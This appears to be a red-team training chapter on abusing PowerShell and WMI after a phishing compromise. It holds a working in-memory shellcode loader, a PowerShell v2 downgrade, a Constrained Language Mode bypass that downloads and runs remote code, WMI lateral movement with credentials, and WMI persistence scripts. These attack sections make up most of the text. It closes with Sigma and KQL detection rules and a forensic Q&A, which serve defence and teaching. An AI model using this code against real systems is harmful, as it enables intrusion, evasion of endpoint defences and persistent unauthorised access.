Living Off the Land: PowerShell and WMI
PowerShell and WMI are the two most abused built-in Windows capabilities in post-exploitation. They require no dropped binary, run from signed Microsoft infrastructure, and provide deep system access. The challenge for defenders is that legitimate use looks almost identical to malicious use — detection requires behavioral analysis, not just command-line keyword matching.
You have code execution via a phishing macro. The target has AppLocker blocking unsigned executables but allows PowerShell. AV is present. Your goal is to run a Cobalt Strike shellcode stager without dropping a binary, persist across reboots without a file, and move laterally to two more machines — using only built-in Windows tooling.
PowerShell Execution Patterns
| Technique | Command | What it bypasses |
|---|---|---|
| Bypass ExecutionPolicy | powershell -ExecutionPolicy Bypass -File x.ps1 | Script execution restriction (not a security boundary) |
| Encoded command | powershell -EncodedCommand <B64> | Simple command-line keyword detection |
| Window hidden | powershell -WindowStyle Hidden -NonInteractive | User visibility |
| No profile | powershell -NoProfile -NoLogo | Profile-based security tooling, faster launch |
| stdin pipe | echo IEX(...) | powershell - | Command-line logging if EID 4103 disabled |
| WMIC spawn | wmic process call create "powershell..." | Parent process visibility (parent = WmiPrvSE.exe) |
# In-memory shellcode loader via PowerShell — no binary dropped
# Uses VirtualAlloc + Marshal.Copy + CreateThread via P/Invoke reflection
$sc = [Convert]::FromBase64String("SHELLCODE_B64")
$code = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMs);
}
"@
Add-Type $code
$buf = [Win32]::VirtualAlloc(0, [uint32]$sc.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $buf, $sc.Length)
$thread = [Win32]::CreateThread(0, 0, $buf, 0, 0, 0)
[Win32]::WaitForSingleObject($thread, 0xFFFFFFFF)
Version Downgrade Attack
# PowerShell v2 lacks Script Block Logging, AMSI, and Constrained Language Mode.
# If v2 is installed (pre-Win10 or if the .NET 2.0/3.5 feature is present),
# invoke it explicitly to dodge v5 protections.
powershell.exe -Version 2 -NoProfile -ExecutionPolicy Bypass -Command "IEX(...)"
# Check if v2 is available:
Get-ChildItem HKLM:\SOFTWARE\Microsoft\PowerShell\
# Defenders: remove PowerShell v2:
# Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
# This is the single most impactful PowerShell hardening step for enterprise.
# Detection: Event ID 400 in Windows PowerShell event log — EngineVersion field.
# If EngineVersion == 2.0, the downgrade attack is in progress.
Get-WinEvent -LogName "Windows PowerShell" |
Where-Object { $_.Message -match 'EngineVersion=2\.0' } |
Select-Object TimeCreated, Message
Constrained Language Mode Bypass
# Constrained Language Mode (CLM) blocks: Add-Type, [type] accelerators for COM/WMI,
# P/Invoke, New-Object for non-whitelisted types.
# Check: $ExecutionContext.SessionState.LanguageMode → "ConstrainedLanguage"
#
# Bypass 1: PowerShell runspace via .NET (if .NET AppDomain policy allows it)
# Bypass 2: runspace created from an unmanaged host (bypass depends on CLM impl)
# Bypass 3: custom PS host bypassing CLM via reflection of SMA internals
# Bypass 4: downgrade to v2 (if available — no CLM in v2)
# Bypass 5: MSBuild inline C# (see ch156) — CLM does not constrain MSBuild
# MSBuild inline execution bypasses CLM because MSBuild is not PowerShell —
# it creates a .NET AppDomain and compiles C# with full trust.
# See ch156 for full MSBuild .csproj template with shellcode execution.
# Runspace bypass (works when .NET is trusted in AppLocker but PS is constrained):
using System.Management.Automation;
using System.Management.Automation.Runspaces;
// Create a runspace with FullLanguage mode, run arbitrary PS commands:
var iss = InitialSessionState.CreateDefault();
iss.LanguageMode = PSLanguageMode.FullLanguage;
var rs = RunspaceFactory.CreateRunspace(iss);
rs.Open();
var pipe = rs.CreatePipeline();
pipe.Commands.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://...')");
pipe.Invoke();
rs.Close();
WMI Remote Code Execution
# WMI allows executing processes on remote machines via DCOM/RPC (port 135 + dynamic).
# No PSRemoting required. Uses WMIC.exe or the .NET System.Management namespace.
# Remote process runs as SYSTEM or the authenticated user's context.
# WMIC — executes cmd on remote host, returns PID:
wmic /node:TARGET /user:DOMAIN\admin /password:P@ss! process call create "cmd /c whoami > C:\Temp\out.txt"
# PowerShell WMI invocation (no wmic.exe, uses .NET — less noisy parent):
$wmi = [wmiclass]"\\$env:COMPUTERNAME\root\cimv2:Win32_Process"
$result = $wmi.Create("powershell -enc <B64_PAYLOAD>")
$result.ProcessId # returns PID of spawned process
# Remote execution with credentials (lateral movement):
$cred = New-Object System.Management.Automation.PSCredential(
"DOMAIN\admin",
(ConvertTo-SecureString "Password1" -AsPlainText -Force)
)
$opt = New-Object System.Management.ConnectionOptions
$opt.Username = $cred.UserName
$opt.Password = $cred.GetNetworkCredential().Password
$opt.EnablePrivileges = $true
$scope = New-Object System.Management.ManagementScope(
"\\192.168.1.10\root\cimv2", $opt)
$scope.Connect()
$proc = [System.Management.ManagementClass]::new($scope,
[System.Management.ManagementPath]"Win32_Process", $null)
$proc.InvokeMethod("Create", @("powershell -enc <B64>"))
WMI Persistence via Event Subscription
# WMI subscription: run payload every 60 minutes
$filterName = "SysOpt"
$consumerName = "SysOptC"
$command = "powershell -ep bypass -enc <B64_PAYLOAD>"
# 1. Event filter — timer fires every 60 minutes
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = $filterName
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_LocalTime'"
}
# 2. Command-line consumer — executes the payload
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = $consumerName
CommandLineTemplate = $command
}
# 3. Binding — connects filter to consumer
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
# Cleanup (remove all three to eliminate persistence):
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Where Name -eq $filterName | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
Where Name -eq $consumerName | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Where { $_.Filter -match $filterName } | Remove-WmiObject
Detection Engineering
title: PowerShell Downgrade Attack (v2 Invocation)
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\powershell.exe'
CommandLine|contains: '-Version 2'
condition: selection
level: high
tags: [attack.defense_evasion, T1059.001]
title: WMI Persistence — Event Subscription Creation
logsource:
product: windows
service: wmi
detection:
selection:
EventID: 5861 # WMI activity — subscription created (requires WMI-Activity provider)
condition: selection
level: high
tags: [attack.persistence, T1546.003]
title: WmiPrvSE Spawning Suspicious Child Process
logsource:
product: windows
category: process_creation
detection:
parent:
ParentImage|endswith: '\WmiPrvSE.exe'
child:
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\mshta.exe'
- '\wscript.exe'
- '\certutil.exe'
condition: parent AND child
level: critical
-- MDE KQL: WMI event subscription creation
DeviceEvents
| where ActionType == "WmiBindingCreated"
or ActionType == "WmiFilterCreated"
or ActionType == "WmiConsumerCreated"
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, ActionType, AdditionalFields
-- Encoded PowerShell commands (high-entropy base64 in -enc)
DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-EncodedCommand", "-enc", "-en ")
| extend b64part = extract(@'(?:-EncodedCommand|-enc|-en)\s+([A-Za-z0-9+/=]{40,})',
1, ProcessCommandLine)
| where isnotempty(b64part)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, b64part
Q&A
WMI event subscriptions survive reboots without any file on disk — how does the WMI repository work as a persistence store, and what forensic artifacts does it leave for investigators?
WMI event subscriptions are stored in the WMI repository — a binary database at C:\Windows\System32\wbem\Repository\ consisting of files like OBJECTS.DATA, INDEX.BTR, and MAPPING*.MAP. When you create a __FilterToConsumerBinding, all three objects (__EventFilter, __EventConsumer, CommandLineEventConsumer) are serialized into OBJECTS.DATA and indexed. They survive reboots because the WMI service (winmgmt) loads this repository at startup and re-registers all stored event subscriptions with the event dispatch system. No separate binary, registry key, or scheduled task entry is needed — the execution mechanism is entirely within the WMI subsystem.
The forensic artifacts are several. First, the WMI repository itself can be parsed offline (or live) by tools like PyWMIPersistenceFinder or WMIParser to enumerate all __EventFilter, __EventConsumer, and __FilterToConsumerBinding objects in root\subscription. Second, on Windows 10+ with the WMI-Activity/Operational event log enabled, Event ID 5857 logs provider loads and Event ID 5861 logs subscription creation — both include the subscription namespace and the consumer's CommandLineTemplate or script content. Third, when the subscription fires, the spawned process has parent WmiPrvSE.exe (PID belonging to the WMI host), which is the key Sysmon/EDR indicator: legitimate processes rarely spawn from WmiPrvSE.exe. Fourth, PowerShell Script Block Logging (Event 4104) will capture the executed code if it is PowerShell, providing full command content.
The practical hunting query is: enumerate all CommandLineEventConsumer and ActiveScriptEventConsumer instances in root\subscription via Get-WMIObject or Get-CimInstance — any production environment should have zero or a documented allowlist of them. A single unknown entry is a confirmed persistence mechanism requiring incident response.